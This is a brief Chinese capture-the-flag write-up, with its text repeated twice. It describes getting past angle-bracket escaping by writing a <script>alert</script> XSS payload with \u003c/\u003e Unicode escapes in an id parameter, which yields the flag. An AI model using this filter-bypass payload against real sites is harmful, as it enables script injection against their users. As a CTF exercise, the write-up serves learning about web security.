直接传入<script>alert(_key_)</script>后发现尖括号被转义。
在i春秋看视频的时候也遇到过这种问题,将<替换为\u003c,>替换为\u003e即可绕过
于是我们就可以构造payload为?id=\u003cscript\u003ealert(_key_)\u003c/script\u003e
上传后果然获得了flag,快乐
直接传入<script>alert(_key_)</script>后发现尖括号被转义。
在i春秋看视频的时候也遇到过这种问题,将<替换为\u003c,>替换为\u003e即可绕过
于是我们就可以构造payload为?id=\u003cscript\u003ealert(_key_)\u003c/script\u003e
上传后果然获得了flag,快乐